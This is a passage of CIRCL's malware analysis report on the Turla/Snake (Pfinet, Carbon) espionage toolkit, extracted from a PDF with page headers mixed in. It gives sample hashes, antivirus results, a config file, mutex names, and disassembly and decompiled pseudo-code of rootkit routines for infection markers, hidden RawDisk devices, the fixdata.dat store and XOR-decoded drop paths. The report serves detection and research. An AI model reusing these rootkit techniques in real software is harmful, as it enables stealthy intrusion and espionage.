Plugin terminate failed, d. ModuleStop Plugin dll stop success.
Plugin dll stop failed.
Plugin freelib success.
Plugin freelib failed, d. Internal command not support (( u1s G0dd W0sd A0sd ussss ussssdss ussssd W1sd A1sd s:d \\s\pipe\s m_create() failed.
net_users net_passwords m_setoptlist() failed.
m_connect() failed.
m_send() AUTH failed.
m_recv() AUTH failed.
AUTH failed.
m_send() WHO failed.
m_send() OBJECT failed.
m_recv() OBJECT failed.
Trans task d for obj s ACTIVE fail robjs OBJECT ACK failed.
m_send() TASK failed.
m_recv() WIN RESULT failed.
m_recv() ACT RESULT failed.
m_send() ACT RESULT failed.
enable L-1cant find entry point s L-1loadlibrary() failed d L-1sd CIRCL  TR-25 Analysis - Turla / Pfinet / Snake/ ... http://www.circl.lu/pub/tr-25/ 15 of 34 12/31/2014 09:19 AM L-1try to run dll s with user priv L-1cant get characs s L-1not PE format s L-1 parse error s L-1  parse error s L0s L-1AS_CUR_USER:OpenProcessToken():d, s L-1AS_CUR_USER:DuplicateTokenEx():d, s L-1AS_CUR_USER:LogonUser():d, s L-1wrong priv s L-1CreateProcessAsUser():d, s D:AI TCP: resolving host name... TCP: resolved s TCP: closed.
TCP: connecting... nodelay Y1N0 TCP: send TCP: recv s:u Frag: send frag_size frag_no_scrambling peer_frag_size \\.\pipe\ allow everyone read_peer_nfo write_peer_nfo net_user net_password imp_level no_server_hijack every1 anonymous \pipe\ \ipc frag transports licence error Sample E - usbdev.sys - x64 - (Resouce: 161) Hashes Type of Hash Hash MD5 62e9839bf0b81d7774a3606112b318e8 SHA1 6f2e50c5f03e73e77484d5845d64d952b038a12b SHA-256 39050386f17b2d34bdbd118eec62ed6b2f386e21500a740362454ed73ea362e8 ssdeep 3072:S9f3buYUVKa6a1206K55kLtkA3qkQQ0dwZATH:S9iYUImo06KXkLqA6kf0dwK VirusTotal results for sample E AV product Result McAfeeArtemis Pfinet nProtect Trojan/W32.Agent.228352.W McAfee Pfinet F-Prot W32/Pfinet.
A a-squared Backdoor.
PfinetIK Avast Win32:Malware-gen ClamAV Trojan.
Agent-126457 Kaspersky Trojan.
Win32.Agent.czua BitDefender Trojan.
Generic.2617254 Comodo TrojWare.
Win32.Agent.czua F-Secure Trojan:W64/Carbys.genA CIRCL  TR-25 Analysis - Turla / Pfinet / Snake/ ... http://www.circl.lu/pub/tr-25/ 16 of 34 12/31/2014 09:19 AM AV product Result DrWeb Trojan.
Siggen.27969 TrendMicro TROJ_PFINET.A Authentium W32/Pfinet.
A Jiangmin Trojan/Agent.dcrw Antiy-AVL Trojan/Win32.Agent.gen Symantec Backdoor.
Pfinet Microsoft Backdoor:WinNT/Pfinet.
B GData Trojan.
Generic.2617254 VBA32 Trojan.
Win32.Agent.czua PCTools Backdoor.
Pfinet Ikarus Backdoor.
Pfinet AVG Agent2.YKW Panda Rootkit/Agent.
MXI Scanned: 2009-12-27 12:15:01 - 40 scans - 24 detections (60.0) File characteristics Meta data Size:    228352 bytes Type:    PE32 executable (DLL) (native) x86-64, for MS Windows Date:    0x4AC48FE7 [Thu Oct  1 11:17:59 2009 UTC] EP:      0x21454 .text 0/6 CRC:     Claimed: 0x397f7, Actual: 0x397f7 Sections Name       VirtAddr     VirtSize     RawSize      Entropy -------------------------------------------------------------------------------- .text      0x1000       0x2126c      0x21400      6.518352 .basein    0x23000      0xc7         0x200        2.902918 .data      0x24000      0x23a3c      0x13400      1.284443 .pdata     0x48000      0x10b0       0x1200       5.035513 INIT       0x4a000      0x10ce       0x1200       4.944873 .reloc     0x4c000      0x99a        0xa00        4.576183 Strings The strings correspond mostly to the ones of Sample B.
Sample F - inetpub.dll - x64 (Resource: 162) Hashes Type of Hash Hash MD5 e1ee88eda1d399822587eb58eac9b347 SHA1 32287d26656587c6848902dbed8086c153d94ee7 SHA-256 92c2023095420de3ca7d53a55ed689e7c0086195dc06a4369e0ee58a803c17bb ssdeep 3072:vr84EaVK9B9MklzeALxqS6kcLyHFQvYnb9f3bkrlESXdMQyFc8:QPp9B9MkllLMScLmsb9IKrF1 VirusTotal results for sample F AV product Result Symantec Backdoor.
Pfinet Scanned: 2014-03-23 21:27:06 - 51 scans - 1 detections (1.0) CIRCL  TR-25 Analysis - Turla / Pfinet / Snake/ ... http://www.circl.lu/pub/tr-25/ 17 of 34 12/31/2014 09:19 AM File characteristics Meta data Size:    113664 bytes Type:    PE32 executable (DLL) (GUI) x86-64, for MS Windows Date:    0x4AC5A6C2 [Fri Oct  2 07:07:46 2009 UTC] EP:      0x200149d0 .text 0/5 CRC:     Claimed: 0x0, Actual: 0x1e6b8 [SUSPICIOUS] Sections Name       VirtAddr     VirtSize     RawSize      Entropy -------------------------------------------------------------------------------- .text      0x1000       0x13b8d      0x13c00      6.247940 .rdata     0x15000      0x582e       0x5a00       6.692290 .data      0x1b000      0x1ae0       0x1400       4.598089 .pdata     0x1d000      0x8c4        0xa00        4.522066 .reloc     0x1e000      0x248        0x400        2.325587 Strings The strings correspond mostly to the ones of Sample C. Sample G - cryptoapi.dll - x64 (Resource: 165) Hashes Type of Hash Hash MD5 a7853bab983ede28959a30653baec74a SHA1 eee11da421c7268e799bd938937e7ef754a895bf SHA-256 0e3842bd092db5c0c70c62e8351649d6e3f75e97d39bbfd0c0975b8c462a65ca ssdeep 3072:U/ylCK5WUZFspUjcF65zlEzEOflC9Pw6OPEH66kcXF9f3b6ivgCUHXM:1gWWUrg3ANOP6cXF9/u VirusTotal results for sample G AV product Result Symantec Backdoor.
Pfinet AntiVir TR/ATRAPS.Gen2 Scanned: 2014-03-23 21:26:59 - 51 scans - 2 detections (3.0) File characteristics Meta data Size:    147968 bytes Type:    PE32 executable (DLL) (GUI) x86-64, for MS Windows Date:    0x4AC5A685 [Fri Oct  2 07:06:45 2009 UTC] EP:      0x2001bd80 .text 0/6 CRC:     Claimed: 0x0, Actual: 0x32c9f [SUSPICIOUS] Sections Name       VirtAddr     VirtSize     RawSize      Entropy -------------------------------------------------------------------------------- .text      0x1000       0x1af6d      0x1b000      6.195387 .basein    0x1c000      0xc7         0x200        2.902918 .rdata     0x1d000      0x66f0       0x6800       6.585248 .data      0x24000      0x1b00       0x1400       4.647566 .pdata     0x26000      0xad4        0xc00        4.848795 .reloc     0x27000      0x2a6        0x400        2.344107 CIRCL  TR-25 Analysis - Turla / Pfinet / Snake/ ... http://www.circl.lu/pub/tr-25/ 18 of 34 12/31/2014 09:19 AM Strings The strings correspond mostly to the ones of Sample D. Sample H - config.txt Hashes Type of Hash Hash MD5 08cbc46302179c4cda4ec2f41fc9a965 SHA1 6a905818f9473835ac90fc38b9ce3958bfb664d6 SHA-256 3576035105b4714433331dff1f39a50d55f4548701b6ab8343a16869903ebc3c Content 1[NAME] 2object_id 3 4 5[TIME] 6user_winmin   600000 7user_winmax  1200000 8sys_winmin  3600000 9sys_winmax  3700000 10task_min  20000 11task_max  30000 12checkmin  60000 13checkmax  70000 14logmin   600000 15logmax  1200000 16lastconnect 17timestop 18active_con  900000 19time2task3600000 20 21 22[CW_LOCAL] 23quantity  0 24 25[CW_INET] 26quantity  0 27 28 29[TRANSPORT] 30user_pipe  \\.\pipe\userpipe 31system_pipe  \\.\pipe\iehelper 32 33 34[DHCP] 35server  135 36 37 38[LOG] 39lastsend 40logperiod  7200 41 42[WORKDATA] 43run_task 44run_task_system Analysis - Payload Sample B - usbdev.sys (Resource: 101) A very extensive analysis of a similar kernel module of Sample B (usbdev.sys) has been documented in Uroburos: the snake rootkit 2 by deresz and tecamac.
Sample B also checks for the presence of infection markers in form of events: CIRCL  TR-25 Analysis - Turla / Pfinet / Snake/ ... http://www.circl.lu/pub/tr-25/ 19 of 34 12/31/2014 09:19 AM .text:00023210                 push    ebp .text:00023211                 mov     ebp, esp .text:00023213                 sub     esp, 130h .text:00023219                 mov     [ebpstring.
Length], 70h .text:0002321F                 mov     [ebpstring.
MaximumLength], 72h .text:00023225                 mov     [ebpstring.
Buffer], offset aBasenamedobjec  \\BaseNamedObjects\\B93DFED5-9A3B-459b... .text:0002322C                 lea     eax, [ebpvar_110] .text:00023232                 mov     [ebpSecurityDescriptor], eax .text:00023235                 mov     [ebpObjectAttributes.
Length], 18h .text:0002323F                 mov     [ebpObjectAttributes.
RootDirectory], 0 .text:00023249                 mov     [ebpObjectAttributes.
Attributes], 40h .text:00023253                 lea     ecx, [ebpstring] .text:00023256                 mov     [ebpObjectAttributes.
ObjectName], ecx .text:0002325C                 mov     [ebpObjectAttributes.
SecurityDescriptor], 0 .text:00023266                 mov     [ebpObjectAttributes.
SecurityQualityOfService], 0 .text:00023270                 lea     edx, [ebpObjectAttributes] .text:00023276                 push    edx              ObjectAttributes .text:00023277                 push    1F0003h          DesiredAccess .text:0002327C                 lea     eax, [ebpEventHandle] .text:00023282                 push    eax              EventHandle .text:00023283                 call    ZwOpenEvent or as pseudo-code: 1  string.
Length  0x70 2  string.
MaximumLength  0x72 3  string.
Buffer  L\\BaseNamedObjects\\B93DFED5-9A3B-459b-A617-59FD9FAD693E 4  SecurityDescriptor  v4 5  ObjectAttributes.
Length  24 6  ObjectAttributes.
RootDirectory  0 7  ObjectAttributes.
Attributes  OBJ_CASE_INSENSITIVE 8  ObjectAttributes.
ObjectName  string 9  ObjectAttributes.
SecurityDescriptor  0 10  ObjectAttributes.
SecurityQualityOfService  0 11  if ( ZwOpenEvent(EventHandle, 0x1F0003u, ObjectAttributes) ) 12 13    ... That means, the famous Agent.btz marker \BaseNamedObjects\B93DFED5-9A3B-459b-A617-59FD9FAD693E is checked directly using a UNICODE_STRING structure without using RtlInitUnicodeString().
A brief comparison with other samples, like Type of Hash Hash MD5 57770d70b704811e8ac13893337cea32 SHA1 0e6dff1007b6a5f744b2bc90978496328c95ed11 SHA-256 65fdaf08e562611ce58f1d427f198f8743d88a68e1c4d92afe6dc6251e8a3112 or Type of Hash Hash MD5 06a3f5df6ac23db15ba52581a38c725b SHA1 a6cc9d9034637192d264cb4e9b6b83b70cc36da9 SHA-256 43e71b993d6e7c977caaf2ed7610a71758734d87ec2ceb20a84e573ea05a01b3 shows, that this marker is checked in the same way.
The analysis of this kernel module by deresz and tecamac is very detailed.
We advise the interested reader to work through their document to understand all the details.
Implemented transports In this module, the following transport or communication modules are present: Type 1: tcp Type 2: np, m2b - TODO: Compare this with the observed transports in CIRCL  TR-25 Analysis - Turla / Pfinet / Snake/ ... http://www.circl.lu/pub/tr-25/ 20 of 34 12/31/2014 09:19 AM userland modules modules described in other reports Disassembler Library This sample contains a large chunk of code taken from the Udis86 Disassembler Library for x86 / x86-64 project6 RawDisk1, RawDisk2 and fixdata.dat The devices \Device\RawDisk1 \Device\RawDisk2 and the file \SystemRoot\NtUninstallQ722833\fixdata.dat are already known from other reports.
If the file fixdata.dat could successfully be created within the function 1NTSTATUS create\_fixdata_dat() 2 3  char v1 4  NTSTATUS error 5  OBJECT_ATTRIBUTES ObjectAttributes 6  LARGE_INTEGER AllocationSize 7  UNICODE_STRING Name 8  UINT_PTR ViewSize 9  __int64 FileInformation 10  struct _IO_STATUS_BLOCK IoStatusBlock 11 12  Name.
Length  0x58 13  Name.
MaximumLength  0x5A 14  Name.
Buffer  L\\SystemRoot\\NtUninstallQ722833\\fixdata.dat 15  ObjectAttributes.
Length  24 16  ObjectAttributes.
RootDirectory  0 17  ObjectAttributes.
Attributes  OBJ_CASE_INSENSITIVE 18  ObjectAttributes.
ObjectName  Name 19  ObjectAttributes.
SecurityDescriptor  0 20  ObjectAttributes.
SecurityQualityOfService  0 21  AllocationSize  0x6400000i64 22  error  call_IoCreateFile( 23            FileHandle, 24            FILE_ADD_FILEFILE_LIST_DIRECTORY, 25            ObjectAttributes, 26            IoStatusBlock, 27            AllocationSize, 28            FILE_ATTRIBUTE_NORMAL, 29            0, 30            FILE_OPEN_IF, 31            FILE_RANDOM_ACCESSFILE_NON_DIRECTORY_FILEFILE_SYNCHRONOUS_IO_NONALERTFILE_NO_INTERMEDIATE_BUFFERING, 32            0, 33            0) 34  if ( error ) 35 36    dword_5BDEC  FileHandle 37    if ( IoStatusBlock.
Information  2 ) 38 39      FileInformation  AllocationSize.
QuadPart 40      error  ZwSetInformationFile(FileHandle, IoStatusBlock, FileInformation, 8u, FileEndOfFileInformation) 41      if ( error ) 42        goto LABEL_10 43      v1  1 44 45    else 46 47      v1  0 48 49    ObjectAttributes.
Length  24 50    ObjectAttributes.
RootDirectory  0 51    ObjectAttributes.
Attributes  0 52    ObjectAttributes.
ObjectName  0 CIRCL  TR-25 Analysis - Turla / Pfinet / Snake/ ... http://www.circl.lu/pub/tr-25/ 21 of 34 12/31/2014 09:19 AM 53    ObjectAttributes.
SecurityDescriptor  0 54    ObjectAttributes.
SecurityQualityOfService  0 55    error  ZwCreateSection(gSectionHandle, 6u, ObjectAttributes, 0, 4u, 0x18000000u, FileHandle) 56    if ( error ) 57 58      ViewSize  0 59      error  ZwMapViewOfSection(gSectionHandle, 0xFFFFFFFF, BaseAddress_0, 0, 0, 0, ViewSize, ViewUnmap, 0, 4u) 60      if ( error ) 61 62        gViewSize  ViewSize 63        dword_4FBD4[0]  0 64        if ( v1 ) 65          sub_2F6E0(0, gViewSize, 2, gViewSize  15, 32, 0x200u) 66 67 68 69LABEL_10: 70  if ( error ) 71 72    if ( BaseAddress_0 ) 73 74      ZwUnmapViewOfSection(0xFFFFFFFF, BaseAddress_0) 75      BaseAddress_0  0 76 77    if ( gSectionHandle ) 78 79      ZwClose_1(gSectionHandle) 80      gSectionHandle  0 81 82    ZwClose_1(FileHandle) 83    FileHandle  0 84 85  return error 86 also the devices are created within this function: 1NTSTATUS create_file_rawdisk() 2 3  NTSTATUS ERROR 4  OBJECT_ATTRIBUTES ObjectAttributes 5  LSA_UNICODE_STRING DestinationString 6  UINT_PTR ViewSize 7 8  if ( disks_initialized ) 9 10    ERROR  0 11 12  else if ( DriverObject ) 13 14    sub_2DFD0(Lock) 15    KeInitializeEvent(Event, SynchronizationEvent, 0) 16    sub_2DFB0(ListHead) 17    ERROR  sub_2F490() 18    if ( ERROR ) 19 20      RtlInitUnicodeString(DestinationString, L\\Device\\RawDisk1) 21      ERROR  IoCreateDevice( 22                DriverObject, 23                0, 24                DestinationString, 25                FILE_DEVICE_DISK, 26                FILE_REMOVABLE_MEDIA, 27                0, 28                DeviceObject_RawDisk1) 29      if ( ERROR ) 30 31        ERROR  call_SeSetSecurityDescriptorInfo(DeviceObject_RawDisk1) 32        if ( ERROR ) 33 34          DeviceObject_RawDisk1-Flags  (DeviceObject_RawDisk1-Flags  0x10) 35          DeviceObject_RawDisk1-Flags  DeviceObject_RawDisk1-Flags  0xFFFFFF7F 36          ObjectAttributes.
Length  24 37          ObjectAttributes.
RootDirectory  0 38          ObjectAttributes.
Attributes  0 39          ObjectAttributes.
ObjectName  0 40          ObjectAttributes.
SecurityDescriptor  0 41          ObjectAttributes.
SecurityQualityOfService  0 CIRCL  TR-25 Analysis - Turla / Pfinet / Snake/ ... http://www.circl.lu/pub/tr-25/ 22 of 34 12/31/2014 09:19 AM 42          MaximumSize  0x1000000i64 43          ERROR  ZwCreateSection(SectionHandle, 6u, ObjectAttributes, MaximumSize, 4u, 0x18000000u, 0) 44          if ( ERROR ) 45 46            ViewSize  MaximumSize.
LowPart 47            ERROR  ZwMapViewOfSection(SectionHandle, 0xFFFFFFFF, BaseAddress, 0, 0, 0, ViewSize, ViewUnmap, 0, 4u) 48            if ( ERROR ) 49 50              MaximumSize  ViewSize 51              RtlInitUnicodeString(DestinationString, L\\Device\\RawDisk2) 52              ERROR  IoCreateDevice( 53                        DriverObject, 54                        0, 55                        DestinationString, 56                        FILE_DEVICE_DISK, 57                        FILE_REMOVABLE_MEDIA, 58                        0, 59                        DeviceObject_RawDisk2) 60 if ( ERROR ) 61 62                ERROR  call_SeSetSecurityDescriptorInfo(DeviceObject_RawDisk2) 63                if ( ERROR ) 64 65                  DeviceObject_RawDisk2-Flags  (DeviceObject_RawDisk2-Flags  0x10) 66                  DeviceObject_RawDisk2-Flags  DeviceObject_RawDisk2-Flags  0xFFFFFF7F 67                  sub_2F6E0(1, MaximumSize.
LowPart, 2, MaximumSize.
LowPart  15, 32, 0x200u) 68                  byte_4FBBD  0 69                  ERROR  create_system_threads(handle, sub_2EFB0, 0, 0) 70                  disks_initialized  1 71 72 73 74 75 76 77 78    if ( ERROR ) 79 80      if ( DeviceObject_RawDisk1 ) 81 82        IoDeleteDevice(DeviceObject_RawDisk1) 83        DeviceObject_RawDisk1  0 84 85      if ( DeviceObject_RawDisk2 ) 86 87        IoDeleteDevice(DeviceObject_RawDisk2) 88        DeviceObject_RawDisk2  0 89 90      if ( BaseAddress ) 91 92        ZwUnmapViewOfSection(0xFFFFFFFF, BaseAddress) 93        BaseAddress  0 94 95      if ( SectionHandle ) 96 97        ZwClose_1(SectionHandle) 98        SectionHandle  0 99 100 101 102  else 103 104    ERROR  0xC0000001 105 106  return ERROR 107 Decryption of string for VFS drive The authors demonstrate that they have a sense of humor.
In the following example, they decrypt (XOR) the strings used to assemble the locations of where to drop the other components of the malware to.
The final destinations are: \.\IdeDrive1\cryptoapi.dll \.\IdeDrive1\inetpub.dll But have a closer look at how they decrypt the string: CIRCL  TR-25 Analysis - Turla / Pfinet / Snake/ ... http://www.circl.lu/pub/tr-25/ 23 of 34 12/31/2014 09:19 AM [...] .text:0001E122                 mov     [ebpxor_key], 4E415341h  key .text:0001E129                 mov     [ebppart_1], 7253605h    part 1 encrypted .text:0001E130                 mov     [ebppart_2], 3C282524h   part 2 encrypted [...] .text:0001E17B                 mov     eax, [ebppart_1] .text:0001E17E                 xor     eax, [ebpxor_key]        decrypt part 1: IdeD .text:0001E181                 mov     [ebppart_1], eax [...] .text:0001E184                 mov     ecx, [ebppart_2] .text:0001E18A                 xor     ecx, [ebpxor_key]        decrypt part 2: rive .text:0001E18D                 mov     [ebppart_2], ecx [...] They are seriously using a key 0x4E415341 to decrypt the string.
0x4E415341 is ASCII for NASA.
Thats how they decrypt and assemble the string IdeDrive, appending a 1 in the next step and using if for creating the destination.
Full excerpt below: [...] .text:0001E11B                 mov     [ebpvar_20], 0 .text:0001E122                 mov     [ebpxor_key], 4E415341h .text:0001E129                 mov     [ebppart_1], 7253605h .text:0001E130                 mov     [ebppart_2], 3C282524h .text:0001E13A                 xor     eax, eax .text:0001E13C                 mov     [ebpdrive], eax .text:0001E142                 mov     [ebpvar_338], eax .text:0001E148                 mov     [ebpvar_334], ax .text:0001E14F                 push    104h             size_t .text:0001E154                 push    0                int .text:0001E156                 lea     ecx, [ebpcryptoapi.dll] .text:0001E15C                 push    ecx              void .text:0001E15D                 call    memset .text:0001E162                 add     esp, 0Ch .text:0001E165                 push    104h             size_t .text:0001E16A                 push    0                int .text:0001E16C                 lea     edx, [ebpinetpub.dll] .text:0001E172                 push    edx              void .text:0001E173                 call    memset .text:0001E178                 add     esp, 0Ch .text:0001E17B                 mov     eax, [ebppart_1] .text:0001E17E                 xor     eax, [ebpxor_key] .text:0001E181                 mov     [ebppart_1], eax .text:0001E184                 mov     ecx, [ebppart_2] .text:0001E18A                 xor     ecx, [ebpxor_key] .text:0001E18D                 mov     [ebppart_2], ecx .text:0001E193                 mov     edx, [ebppart_1] .text:0001E196                 push    edx .text:0001E197                 call    order_bytes .text:0001E19C                 mov     [ebppart_1], eax .text:0001E19F                 mov     eax, [ebppart_1] .text:0001E1A2                 mov     [ebppart_1], eax .text:0001E1A5                 mov     ecx, [ebppart_2] .text:0001E1AB                 push    ecx .text:0001E1AC                 call    order_bytes .text:0001E1B1                 mov     [ebppart_2], eax .text:0001E1B7                 mov     edx, [ebppart_2] .text:0001E1BD                 mov     [ebppart_2], edx .text:0001E1C3                 mov     eax, [ebppart_1] .text:0001E1C6                 mov     [ebpdrive], eax .text:0001E1CC                 mov     ecx, [ebppart_2] .text:0001E1D2                 mov     [ebpvar_338], ecx .text:0001E1D8                 lea     edx, [ebpdrive] .text:0001E1DE                 add     edx, 0FFFFFFFFh .text:0001E1E1                 mov     [ebpvar_454], edx .text:0001E1E7                 mov     eax, [ebpvar_454] .text:0001E1ED                 mov     cl, [eax1] .text:0001E1F0                 mov     [ebpvar_455], cl .text:0001E1F6                 add     [ebpvar_454], 1 .text:0001E1FD                 cmp     [ebpvar_455], 0 .text:0001E204                 jnz     short loc_1E1E7 .text:0001E206                 mov     edi, [ebpvar_454] .text:0001E20C                 mov     dx, word ptr ds:a1  1 .text:0001E213                 mov     [edi], dx .text:0001E216                 lea     eax, [ebpdrive] .text:0001E21C                 push    eax .text:0001E21D                 push    offset a?
?SCryptoapi_d  \\?
?\\s\\cryptoapi.dll .text:0001E222                 lea     ecx, [ebpcryptoapi.dll] .text:0001E228                 push    ecx              char CIRCL  TR-25 Analysis - Turla / Pfinet / Snake/ ... http://www.circl.lu/pub/tr-25/ 24 of 34 12/31/2014 09:19 AM .text:0001E229                 call    sprintf .text:0001E22E                 add     esp, 0Ch .text:0001E231                 lea     edx, [ebpdrive] .text:0001E237                 push    edx .text:0001E238                 push    offset a?
?SInetpub_dll  \\?
?\\s\\inetpub.dll .text:0001E23D                 lea     eax, [ebpinetpub.dll] .text:0001E243                 push    eax              char .text:0001E244                 call    sprintf [...] To describe \Registry\Machine\usblink_export HKEY_LOCAL_MACHINE\usblink_export (also LEGACY_usblink and usblink?)
Potentially old code The malware checks if the queried process has one of the following names 1bool __stdcall match_list_of_programs_by_name(char a1) 2 3  return stricmp(a1, iexplore.exe) 4       stricmp(a1, firefox.exe) 5       stricmp(a1, opera.exe) 6       stricmp(a1, netscape.exe) 7       stricmp(a1, mozilla.exe) 8       stricmp(a1, msimn.exe) 9       stricmp(a1, outlook.exe) 10       stricmp(a1, adobeupdater.exe) 11 and if so, it would call pulse_event_wininet_activate().
1char __stdcall check_proces_and_activate_wininet(int a1, int a2, int a3) 2 3[...] 4     if ( match_list_of_programs_by_name(program_name) ) 5        pulse_event_wininet_activate() 6[...] 7 The event \BaseNamedObjects\wininet_activate is then created and pulsed.
1NTSTATUS pulse_event_wininet_activate() 2 3  NTSTATUS result 4  LSA_UNICODE_STRING DestinationString 5  OBJECT_ATTRIBUTES ObjectAttributes 6  HANDLE EventHandle 7  wchar_t SourceString 8 9  swprintf(SourceString, L\\BaseNamedObjects\\S, wininet_activate) 10  RtlInitUnicodeString(DestinationString, SourceString) 11  ObjectAttributes.
Length  24 12  ObjectAttributes.
RootDirectory  0 13  ObjectAttributes.
Attributes  0 14  ObjectAttributes.
ObjectName  DestinationString 15  ObjectAttributes.
SecurityDescriptor  0 16  ObjectAttributes.
SecurityQualityOfService  0 17  result  ZwOpenEvent(EventHandle, 2u, ObjectAttributes) 18  if ( result ) 19 20    result  ZwPulseEvent(EventHandle, 0) 21    ZwClose_1(EventHandle) 22 23 return result 24 There are no references to this event, neither in this module nor in the other analyzed modules.
Microsoft mentions in the documentation of the PulseEvent function 7: Note This function is unreliable and should not be used.
It exists mainly for backward compatibility.
For CIRCL  TR-25 Analysis - Turla / Pfinet / Snake/ ... http://www.circl.lu/pub/tr-25/ 25 of 34 12/31/2014 09:19 AM more information, see Remarks.
So it could well be that this part is old code and was forgotten to be removed.
Applying work-around for bugs related to AMD Athlon and AGP graphics port From Microsoft Support article AGP program may hang when using page size extension on Athlon processor 8 the following excerpt: The following workaround for this issue prevents Memory Manager from using the processors Page Size Extension feature and may affect the performance of some programs, depending on the paging behavior.
This registry value also limits non-paged pool to a maximum of 128 megabytes (MB) instead of 256 MB.
1int __stdcall disable_processors_page_size_extension_feature(int a1) 2 3  name[0]  0xA8 4  name[1]  0xAA 5  name[2]  L\\Registry\\Machine\\System\\CurrentControlSet\\Control\\Session Manager\\Memory Management 6  ValueName.
Length  32 7  ValueName.
MaximumLength  34 8  ValueName.
Buffer  LLargePageMinimum 9  Data  -1 10  v2  sub_19110() 11  if ( v2 ) 12 13    ObjectAttributes.
Length  24 14    ObjectAttributes.
RootDirectory  0 15    ObjectAttributes.
Attributes  OBJ_CASE_INSENSITIVE 16    ObjectAttributes.
ObjectName  name 17    ObjectAttributes.
SecurityDescriptor  0 18    ObjectAttributes.
SecurityQualityOfService  0 19    if ( ZwOpenKey(KeyHandle, 2u, ObjectAttributes) ) 20 21      ZwSetValueKey(KeyHandle, ValueName, 0, 4u, Data, 4u) 22      ZwClose_1(KeyHandle) 23 24 25 Sample D - cryptoapi.dll (Resource: 105) Original filename: carbon_system.dll Internal name: Carbon v3.61 This component first initializes the winsock subsystem by calling WSAStartup.
Right after it creates directories on the VFS: CreateDirectoryA(\\\\.\\IdeDrive1\\\\Tasks\\, (LPSECURITY_ATTRIBUTES)Dst) CreateDirectoryA(\\\\.\\IdeDrive1\\\\Results\\, (LPSECURITY_ATTRIBUTES)Dst) Sample D is the next file in the logical execution order, as it creates the following mutexes, which are also accessed by Sample E. Sample D can be considered the main userland module, a control unit that sets up the communication with the kernel module and has the ability to load plugins dynamically during runtime.
The internal name of this module, carbon_system.dll, supports this observation.
Mutexes from cryptoapi.dll Global\\MSMMC.StartupEnvironment.
PPT Global\\411A5195CD73A8a710E4BB16842FA42C Global\\881F0621AC59C4c035A5DC92158AB85E Global\\MSCTF.Shared.
MUTEX.RPM Global\\WindowsShellHWDetection Global\\MSDBG.Global.
MUTEX.ATF For reading or writing operations on files, exclusive access is ensured by locking them with mutexes: Global\MSMMC.StartupEnvironment.
PPT is used for operations on the configuration file.
Global\411A5195CD73A8a710E4BB16842FA42C is used to exclusively access temporary files Global\MSDBG.Global.
MUTEX.ATF is used to exclusively access \.\IdeDrive1\log.txt CIRCL  TR-25 Analysis - Turla / Pfinet / Snake/ ... http://www.circl.lu/pub/tr-25/ 26 of 34 12/31/2014 09:19 AM Global\WindowsShellHWDetection is used to exclusively access \.\IdeDrive1\Results\result.txt Global\MSCTF.Shared.
MUTEX.RPM is used to exclusively access \.\IdeDrive1\Tasks\task.txt Global\881F0621AC59C4c035A5DC92158AB85E is used to exclusively access \.\IdeDrive1\Tasks \task_system.txt During the startup of the ModuleStart() function, 6 threads are being started.
The first two are: get_initialization_parameters_create_GUID_and_check_Packet_Capturing() periodic_free_space_check_and_write_log() These serve the purpose of initializing the environment for the malware and running maintenance and log tasks.
Then a function load_transports() is called (more later), and then four more threads are started: read_config_start_thread_start() thread 5 - handles frag.np/frag.tcp requests thread 6 - handles frag.np/frag.tcp requests execute_plugin() - starts a new thread, calling a DLLs export ModuleStart from the \.\IdeDrive1\\Plugins\ directory load_transports() In this module, the following transport or communication modules are present: Type 1: tcp, b2m Type 2: np, frag, m2b each associated with a bunch of functions: np_functions    func_obj_3 44h, offset sub_2000FAF9, offset sub_2000FB13, \ .data:2001EE30                   offset sub_2000FB2B, offset sub_2000FC37, \ .data:2001EE30                   offset sub_2000FC91, offset sub_2000FD8E, \ .data:2001EE30                   offset sub_2000FECC, offset sub_20010798, \ .data:2001EE30                   offset sub_20010046, offset sub_2001030F, \ .data:2001EE30                   offset sub_200103BA, offset sub_200103DB, \ .data:2001EE30                   offset sub_2000EB1A, offset sub_2001077D, \ .data:2001EE30                   offset sub_20010798, offset sub_2001079E frag_functions  func_obj 4Ch, offset sub_2000DA6E, offset return, \ .data:2001EE78                 offset sub_2000EC14, offset sub_2000EC9E, \ .data:2001EE78                 offset sub_2000ECB2, offset sub_2000ECF3, \ .data:2001EE78                 offset sub_2000ED69, offset sub_2000F5D4, \ .data:2001EE78                 offset sub_2000F4F9, offset sub_2000EDF5, \ .data:2001EE78                 offset sub_2000F185, offset sub_2000F5EB, \ .data:2001EE78                 offset sub_2000EB1A, offset sub_2001077D, \ .data:2001EE78                 offset sub_2000F48B, offset sub_2000F4DA, 0, 0, 0 m2b_functions   func_obj 4Ch, offset sub_2000DA6E, offset return, \ .data:2001EEC8                 offset sub_2000E8C8, offset sub_2000E93B, \ .data:2001EEC8                 offset sub_2000DB2B, offset sub_2000E94A, \ .data:2001EEC8                 offset sub_2000E956, offset sub_2000E9B5, \ .data:2001EEC8                 offset sub_2000E9C7, offset sub_2000E9D9, \ .data:2001EEC8                 offset sub_2000EA0C, offset sub_2000EADE, \ .data:2001EEC8                 offset sub_2000EB1A, offset sub_2000EB26, \ .data:2001EEC8                 offset sub_2000EB47, offset sub_2000EB66, \ .data:2001EEC8                 offset sub_2000EB85, offset sub_2000EBE5, 0 tcp_functions   func_obj_2 40h, offset sub_2000DDD6, offset WSACleanup, \ .data:2001EF18                   offset sub_2000DE03, offset sub_2000E0FE, \ .data:2001EF18                   offset sub_2000E14A, offset sub_2000E156, \ .data:2001EF18                   offset sub_2000E1D3, offset sub_20010798, \ .data:2001EF18                   offset sub_2000E288, offset sub_2000E31F, \ .data:2001EF18                   offset sub_2000E499, offset sub_2001077D, \ .data:2001EF18                   offset sub_2000E634, offset sub_2000E661, \ .data:2001EF18                   offset sub_2000E715 b2m_functions   func_obj_2 40h, offset sub_2000DA6E, offset return, \ .data:2001EF58                   offset sub_2000DA71, offset sub_2000DAF9, \ .data:2001EF58                   offset sub_2000DB2B, offset sub_2000DB44, \ .data:2001EF58                   offset sub_2000DB54, offset sub_2000DBB2, \ .data:2001EF58                   offset sub_2000DBC7, offset sub_2000DBDC, \ .data:2001EF58                   offset sub_2000DBF6, offset sub_2000DD63, \ .data:2001EF58                   offset sub_2000DD84, offset sub_2000DDA2, \ CIRCL  TR-25 Analysis - Turla / Pfinet / Snake/ ... http://www.circl.lu/pub/tr-25/ 27 of 34 12/31/2014 09:19 AM .data:2001EF58                   offset sub_2000DDC0 TODO: these functions need to be analyzed and described Other reports mention different other transports that are not present in this collection.
